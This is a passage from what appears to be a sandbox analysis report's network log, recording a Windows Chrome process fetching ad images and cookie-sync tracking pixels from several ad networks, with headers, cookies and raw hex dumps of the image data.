HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	50102	34.111.60.239	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	679	OUT	GET /ML/5c6e9ed3983c6bd791d9acf6b1bb037a__scv1__300x175.png HTTP/1.1 Host: images.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	741	IN	HTTP/1.1 200 OK x-guploader-uploadid: ABPtcPqbOUC_28t31EHP2SzlqMAKiOoOimyvE3--TfagEQXfWfaftpzn8LMEOtpuDPPjRUu_3gkWio3OiFN1zOToqTAoKg x-goog-generation: 1704431267896887 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 78548 x-goog-hash: crc32c=BaXOUQ== x-goog-hash: md5=dAqNQIwlnaW3qVRK2zPyzQ== x-goog-storage-class: STANDARD accept-ranges: bytes Content-Length: 78548 server: UploadServer via: 1.1 google Date: Wed, 10 Jan 2024 23:00:11 GMT Age: 1627 Last-Modified: Fri, 05 Jan 2024 05:07:47 GMT ETag: "740a8d408c259da5b7a9544adb33f2cd" Content-Type: image/png Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:18 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 af 08 02 00 00 00 c8 4c 74 e0 00 00 80 00 49 44 41 54 78 9c c4 bd db b3 2e d7 71 1f b6 7a 5d 67 e6 bb ec db b9 03 20 00 82 14 29 2a 2e 3a 8e cb 4e c5 79 c8 5b de 53 a9 fc 33 a9 e4 2d 4f a9 72 92 2a 3f 38 8e a3 e4 c1 e5 b2 a5 2a 45 2e a9 4c 2a 72 c5 15 ab 14 c7 52 24 de c4 80 24 40 82 00 01 9c 83 73 db b7 ef 32 33 eb d2 a9 d5 bd 66 be f9 f6 de e7 f0 00 94 94 e1 e1 c6 b7 67 cf 37 b7 b5 ba fb d7 dd bf ee a5 b5 31 21 04 90 52 d0 86 20 6e de 10 c7 63 86 1d 08 00 57 8e 11 f0 a2 ef 4f 8e 02 10 30 1c 2f c4 de 57 78 cf f5 9d 00 37 9c bc dc 2b e6 d3 01 60 4a 7b df 05 1c 7e 83 dd ad de 74 87 88 bb 23 af ef bf ba 33 e5 3d 00 90 52 02 21 40 02 1d 45 c7 c2 de b9 01 f9 bb 38 3c 25 60 b9 63 e0 a7 e1 3b Data Ascii: PNGIHDR,LtIDATx.qz]g ).:Ny[S3-Or?8E.LrR$$@s23fg71!R ncWO0/Wx7+`J{~t#3=R!@E8<%`c;
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: d2 99 af 3c d4 6e 0f c0 60 1f c0 68 92 3e 49 b2 90 ff 23 8d d1 d6 9a da b9 59 e5 1a 57 55 95 ad ac a9 2b b7 68 e6 b3 fc ab ab 2b db 54 95 ca c2 e6 aa ca 1a a3 8d 51 d6 64 71 54 ca e8 2c bf 59 08 01 60 14 45 63 0c cb bc 54 92 85 b0 a8 00 fe 1f c8 f1 de f8 a8 a9 be 98 3e 05 8f d4 5f aa 10 be fa 56 66 d4 f0 b9 d8 91 2f 76 ae 62 56 06 51 be e9 88 5f 36 23 cb 37 71 72 4b fb db a0 c6 40 d2 6b 24 a3 07 f4 de 41 2a 55 8e e1 f7 3f bc 68 4d ca 78 bc fe 9e 41 16 fc b8 64 3a 51 c4 14 a3 28 62 96 10 8b cc 65 e9 cc cf 84 51 84 18 f9 9e 62 fe 20 30 8d 32 59 be 06 fb 48 61 b0 81 7b 4f 72 0d b6 4c fe 0c 83 42 fb 95 45 f7 46 21 fc e2 67 1b 3e f0 a4 26 28 31 22 9c b2 73 77 80 cc f3 dd 90 51 92 32 1b c0 6c b6 b4 74 36 db b8 86 24 30 1b bb ca ce aa 6c fa 9a 7a 5e 57 95 b3 a6 Data Ascii: <n`h>I#YWU+h+TQdqT,Y`EcT>_Vf/vbVQ_6#7qrK@k$A*U?hMxAd:Q(beQb 02YHa{OrLBEF!g>&(1"swQ2lt6$0lz^W
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 81 cf 12 d5 a7 e4 7d ec 20 fa 14 52 d7 45 4c 32 4b 96 68 11 d1 7b 4f 96 51 f8 20 91 b0 6b de 48 f4 82 0f bd cf 66 32 5b 56 64 5b 9a 10 23 60 be 93 94 6d ce 00 00 53 92 64 32 93 04 48 20 53 52 da 30 f0 25 c3 9c 38 94 7d 5d 4b 32 84 64 e5 8f 57 07 13 f0 45 ee c3 fe 88 c3 a0 2d 87 a8 e6 6e b4 e9 25 24 81 20 15 30 e0 17 83 0a 63 a8 3c 89 3d 2a 2b 2d c5 52 b4 d4 19 a4 d4 d6 64 f1 73 95 35 a6 71 6e 59 55 cd ac ae 67 75 5d 55 36 5b c0 c6 91 d5 73 c6 5a f2 02 47 eb 37 15 c2 2c 18 83 f8 8d 46 af 8c e6 70 c3 a3 d7 97 ef 33 fb 34 05 d5 cb fd f9 9c 86 89 bb f7 02 a7 2e 3d a2 66 97 e2 73 c0 c1 bf 1e 59 bd 9e 51 28 8a 71 12 d1 1f fe 40 3f 4b 20 9e 1c 89 41 81 97 70 0b f2 a8 8d b2 97 1f 7b d8 2a e7 74 e5 14 21 93 aa aa ac 35 b5 ad b2 41 63 d5 96 90 dc ba e4 fb 4e 80 30 Data Ascii: } REL2Kh{OQ kHf2[Vd[#`mSd2H SR0%8}]K2dWE-n%$ 0c<=+-Rds5qnYUgu]U6[sZG7,Fp34.=fsYQ(q@?K Ap{t!5AcN0
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: b3 59 53 d7 cd 7c 3e 3f 3c 3c cc 06 71 36 67 90 03 52 26 82 91 5a 01 66 1c e7 bb d4 45 a5 7c 9e 92 b1 6b d7 81 fe ca e6 85 c2 e8 22 61 64 3c c4 39 bb d0 fb be ef 53 08 18 23 bb 55 2c 45 3d 06 59 30 2e 05 c4 f4 9a 2d ae 10 9c fc 2d b8 88 3d db 98 02 cd 54 a1 24 68 50 31 9f 27 91 59 10 e4 c2 2a cb 38 2a 1b 04 a9 35 a8 ac 97 51 67 43 2d 85 2e 01 83 c6 2a ef 7b 92 c7 44 31 98 14 23 a6 10 31 8a 2c 76 18 ba 2e fb 9e 7d 08 9d 0f 91 a2 3e fc 4a 39 f3 19 63 24 90 26 05 68 04 6d 67 8b c5 e1 49 33 5b 74 18 1f 3e fc f4 dd ef 7d ef e2 c9 13 97 9d e3 92 84 18 3d 80 31 23 ca 62 c6 7b 8a 0b 07 28 33 8a 44 b5 9f d4 e6 dc cf 98 64 55 59 d2 b2 a7 2e f3 d1 4a 70 ae a5 10 56 54 86 91 4a 99 8c e8 cd ac 69 9c 35 55 e5 9a ba ae 28 f3 5e 91 37 38 6e 75 55 71 e2 61 2a 7b 6c ee c6 Data Ascii: YS\|>?<<q6gR&ZfE\|k"ad<9S#U,E=Y0.--=T$hP1'Y85QgC-.{D1#1,v.}>J9c$&hmgI3[t>}=1#b{(3DdUY.JpVTJi5U(^78nuUqa{l
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 9a 29 90 01 53 70 b1 d6 c6 49 2d bf fa 6b ff c5 7f fe 9f fd 2f cf 9e 3e 7b f8 89 15 26 26 8c 01 65 0c 38 30 f8 38 a2 c2 f9 2f ba a8 d5 4a 67 28 49 32 69 a0 98 4f d6 3d 9c e4 e6 64 ac 94 d2 1a c3 71 97 c2 1c 33 19 46 36 d9 ff ab b5 94 59 7b 92 6f 4f 8f 6c f3 bf 21 de a6 27 1f 46 bb 37 75 f9 4a d0 95 b1 3e 14 2b c8 74 b3 3d 1f 95 ee 8e 70 a8 28 dc e4 21 27 41 42 98 f6 48 66 d3 10 fe b5 ed c5 54 be 62 1e ff 12 02 33 57 e9 6c 93 fd 7f 95 34 62 1a 38 e4 69 8d 20 95 73 d9 e8 1d 1e 1e 1e 1e 1d 2e 16 cb c3 83 93 83 83 83 ba aa 28 82 ad 39 91 93 01 64 ef 93 88 44 7f ca 72 db f5 be 8b 17 2e 7a ab b4 88 a1 df b6 dd 66 b5 dd 5e 74 db cb 76 db 05 1f b3 87 d7 7b 10 b0 ed fb 6d ef b3 d2 0f 71 2c 7a c0 d1 e1 91 4c 46 c9 36 8f 14 54 d2 3c a6 2c 7c 24 15 30 84 aa b3 dc 60 Data Ascii: )SpI-k/>{&&e808/Jg(I2iO=dq3F6Y{oOl!'F7uJ>+t=p(!'ABHfTb3Wl4b8i s.(9dDr.zf^tv{mq,zLF6T<,\|$0`
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: f3 e5 bb 2e 6c 45 06 6f e0 b1 83 88 dd 66 7b b9 5d cb 14 d6 ed e5 c5 c5 a9 48 81 0c 0b 50 02 59 02 a6 98 a2 ce 8a d3 24 81 d3 4c 03 48 4e fd 71 4d 93 61 89 cb 86 88 dc 54 a9 c6 20 60 de 4d c5 2e 58 0a a0 0a 79 39 8f 50 36 a1 b8 7b 9f 08 10 53 92 94 a7 cb 06 5b 24 a4 f7 cd e9 3e 81 18 63 0a 44 67 21 01 4c c5 41 4d 94 0f 0c 29 c5 2c c9 7d cc 86 1b b2 41 0e 52 7a 80 d6 a8 6c f2 d4 e0 31 ad da 8d 0f 38 5f 2c 67 b3 19 a2 f2 68 9c 8d 82 e2 3e 9a aa 18 3a df 77 5d bf 3a 7b b2 5a 1d af 66 d5 72 a6 14 6a 95 a4 14 3d 93 cd 63 4a eb f5 26 75 fd 61 5d 27 89 21 db 71 30 12 f2 09 50 4c f8 65 68 4c 36 c8 95 35 d6 70 91 11 57 c2 6a 0e e2 b0 51 cb f7 46 3e ac 92 19 61 82 2c 37 0a 90 4f 68 48 e2 b3 04 96 e0 ca 2e af 20 14 b1 e4 25 70 f4 93 32 4d 7a 0c 76 ea 92 52 1d 1c 72 Data Ascii: .lEof{]HPY$LHNqMaT `M.Xy9P6{S[$>cDg!LAM),}ARzl18_,gh>:w]:{Zfrj=cJ&ua]'!q0PLehL65pWjQF>a,7OhH. %p2MzvRr
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 97 8e 8e 8e 41 55 e7 e7 a7 0f 3f fe e8 e7 1f bc 77 f6 fc 49 d8 6e 22 2a 00 6d 00 9a 0c 38 39 a9 60 4a 79 11 39 79 4a 12 6b cc 16 35 c8 f6 56 64 c4 07 23 5b 1a 84 2e 39 97 52 bb 8b 62 2c 1a 94 9a c4 4f 4e df 3c 27 f6 48 16 b3 f0 0f 09 7d 99 9d bb 6b 4c eb 31 d4 c9 fe 96 c4 61 97 64 96 3e 16 b4 ba b7 ed e6 f3 1e da dc 8f a9 d0 54 a2 60 d9 8e 58 72 7d 46 e3 f8 c5 24 f6 f8 98 5c 6a f3 32 4b f8 c2 a2 c1 eb 81 99 1b d9 6d 2f 3e ed 4b 12 18 e5 cd 70 30 8a 53 63 08 91 5a b9 d4 55 7d 30 5f 1c 1c 1d 1f df ba 7d ff c1 83 db b7 ef 9e dc 3a 9e cd 66 3c 32 08 32 41 92 0a bc 52 b3 e3 bb df fc 5b 7f eb 9b 6f 1e 1f 81 90 c9 93 66 31 7c 65 64 8c 49 75 e8 14 bd d4 c7 95 ae 67 4d 33 6b 28 dc 9d 3d a2 3c 55 04 52 18 1d d8 bd d1 a5 ae 02 e4 38 03 80 7b 17 ec 8a 5c 28 f3 94 85 Data Ascii: AU?wIn"*m89`Jy9yJk5Vd#[.9Rb,ON<'H}kL1ad>T`Xr}F$\j2Km/>Kp0ScZU}0_}:f<22AR[of1\|edIugM3k(=<UR8{\(
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 3f 98 cf e7 55 5d 3b 97 ed 9f 82 0a 00 42 d6 f4 fd e2 f8 f8 f5 77 fe c6 db f7 ef 5b 8c 58 3a 0e 88 92 ad ca 73 38 7b 68 67 42 fc e1 1f fd 9b 7f fe 4f ff d9 f7 ff ec cf 45 eb 0f 66 f3 07 b7 5f 37 a0 9d d1 56 73 64 2d 09 91 f2 f4 8c 7d 8a 51 d2 c4 a6 02 38 82 7c 59 42 c9 12 4a 48 a8 20 5b eb 90 d5 7b 7e ea 48 fb 69 72 20 37 3d 94 94 b9 0d 25 2f 05 9c c8 45 8e d3 60 a4 da 25 20 49 12 13 4f 86 eb 65 50 68 a1 28 2d c3 3a 5f 27 aa ea 81 fc b2 12 ea 32 84 21 fb c1 cc 14 c7 0c bb 35 05 80 c9 e9 0b 94 b0 c8 07 13 70 4d 40 25 bc a0 12 26 1f 03 24 1b 63 30 26 52 07 8d a0 14 b7 d2 08 5a 27 1f 3c a1 de e4 db 0e 64 df 6e c1 68 e5 5c 6f ed 36 bf 76 6b 6d 25 9d d3 c6 38 09 4e eb c4 5d 58 4b c4 36 85 14 02 80 ac aa 95 b3 36 90 60 03 10 4d c7 98 3c f2 52 2a 51 c2 2b a5 41 Data Ascii: ?U];Bw[X:s8{hgBOEf_7Vsd-}Q8\|YBJH [{~Hir 7=%/E`% IOePh(-:_'2!5pM@%&$c0&RZ'<dnh\o6vkm%8N]XK66`M<R*Q+A
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 7a 3b a1 76 cd fd c5 ed 77 16 47 47 4d 33 33 50 51 3f 97 76 db 6d d6 eb 8f db cb 0f 45 bb 95 c9 26 52 fe 14 41 8f 41 09 ad 5c 9e 40 52 22 57 aa 42 d6 48 e4 2c f6 80 1a 7c 14 d9 8a 05 f2 4b a9 a0 02 14 c3 cf 28 0c 1b 5c 16 1e 6e cb 9f 7d 0d 99 b5 7e 86 f8 12 25 39 04 84 3c 21 29 11 12 5a 03 91 14 16 85 6c b2 81 eb 55 ec 7d 47 6f 3f cb 8c e4 ae 54 5a 87 18 8c 54 2a 39 af 7a e6 7b a1 4f 52 00 57 1b f6 a1 4f 41 c7 0e bd 4d c1 a5 d0 c7 d8 fb f9 7c 3e 16 ce 72 d1 41 c4 18 3d 9e af 37 4a 3d d3 d9 50 e6 c7 a3 26 15 d9 21 b4 52 6b a9 41 4f 3b 03 66 83 2e 86 d6 b1 05 10 0a 39 c4 9f 05 7b 7a 25 a2 29 41 4c 04 8f b8 10 70 93 d8 64 d0 31 48 c2 00 47 27 9d 65 29 d6 72 03 55 4b 0c 57 1a 13 89 94 20 9a da ae 5d ba 0b 87 75 0c e8 00 e4 b6 a8 25 12 23 87 e6 f2 13 70 8b 8c Data Ascii: z;vwGGM33PQ?vmE&RAA\@R"WBH,\|K(\n}~%9<!)ZlU}Go?TZT*9z{ORWOAM\|>rA=7J=P&!RkAO;f.9{z%)ALpd1HG'e)rUKW ]u%#p
2024-01-10 23:27:18 UTC	1252	IN	Data Raw: 13 5a a4 7e 93 15 7e 7d e0 9a 45 55 1b 67 1b a5 65 db 9e 77 ed 56 a0 72 a8 a4 93 42 a4 99 bb f7 60 d6 9c ba 1f 9d 3d f9 48 ca a0 a5 21 9e 73 21 d3 08 ad 01 a3 64 3a 76 f6 ff 62 11 02 4e 21 0d e3 5a 96 ad 80 92 d1 19 22 d0 49 40 10 42 e1 90 c8 c2 81 7f cc ad 07 53 44 a9 c9 e8 82 02 a9 8b 83 02 06 14 28 25 54 42 8f 09 92 b1 52 05 25 b3 2f 47 ed 85 63 46 b0 29 46 af 0a ec 43 29 99 5f 26 a5 27 8b 15 94 88 19 c7 fa 18 b0 f7 3e a4 10 53 e7 7d 53 37 a9 f3 71 56 3b 17 b4 d6 59 93 05 e1 7d ec 7a bf ee 7c ef bb 10 7d 20 bf 0c b5 5a 48 0d 96 93 a7 d9 19 4e d3 be 7a bc 64 13 15 81 50 54 39 e3 db a9 dc 4c 8c e0 8d 2b 4e bd cc f4 bd 28 fd 30 6e 53 f1 1b 8f 4c 90 46 5e 28 cb dc ae 71 fb e0 14 0e dd 2e b8 f8 2c 5d 89 92 c0 d5 2b c2 a0 49 41 8b 49 e5 62 f9 99 be 08 40 1d Data Ascii: Z~~}EUgewVrB`=H!s!d:vbN!Z"I@BSD(%TBR%/GcF)FC)_&'>S}S7qV;Y}z\|} ZHNzdPT9L+N(0nSLF^(q.,]+IAIb@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	50108	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	820	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
2024-01-10 23:27:18 UTC	645	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8;Expires=Wed, 07 Feb 2024 23:27:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:18 GMT Connection: close
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:18 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	50105	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	777	OUT	GET /cksync.php?cs=1&type=crt&ovsid=94a96463-4da4-468a-ab35-7f2fcadb375f&gdpr=0&gdpr_consent=&us_privacy=&gpp= HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
2024-01-10 23:27:18 UTC	850	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1;Expires=Fri, 09 Feb 2024 23:27:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true Set-Cookie: data-c-ts=1704929238;Expires=Fri, 09 Feb 2024 23:27:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:18 GMT Connection: close
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:18 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	50121	23.92.190.69	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	771	OUT	GET /pixel?a=0&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dsov%26ovsid%3D%24UID%26axid_e%3D&sovrn_retry=true HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=H-G_bLZHIhhIpR6ZTj2OFYm3
2024-01-10 23:27:18 UTC	524	IN	HTTP/1.1 307 Temporary Redirect Connection: close Date: Wed, 10 Jan 2024 23:27:18 GMT Location: https://hb.yahoo.net/cksync.php?cs=1&type=sov&ovsid=H-G_bLZHIhhIpR6ZTj2OFYm3&axid_e= Set-Cookie: ljt_reader=H-G_bLZHIhhIpR6ZTj2OFYm3;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type X-Sovrn-Pod: ad_ap3ewr1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	50109	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	1155	OUT	GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1704929237315 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
2024-01-10 23:27:18 UTC	834	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:18 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:18 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ad.turn.com/r/cs?pid=45&rndcb=5520453141 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	50118	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	921	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=son&refUrl=&vid=49292349683479308310180275000V10&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66&axid_e= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1;Expires=Mon, 08 Jul 2024 23:27:18 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:18 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	50135	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
